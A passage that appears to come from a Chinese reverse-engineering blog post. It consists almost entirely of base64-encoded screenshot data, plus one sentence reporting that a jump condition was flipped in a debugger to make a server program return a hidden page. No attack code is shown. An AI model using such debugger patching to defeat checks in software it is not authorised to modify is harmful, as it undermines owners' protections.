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" alt="" />
使用调试器动态改变跳转条件, 我们可以让服务器返回下面这个有趣的页面(手工内存补丁成功):
aaarticlea/png;base64,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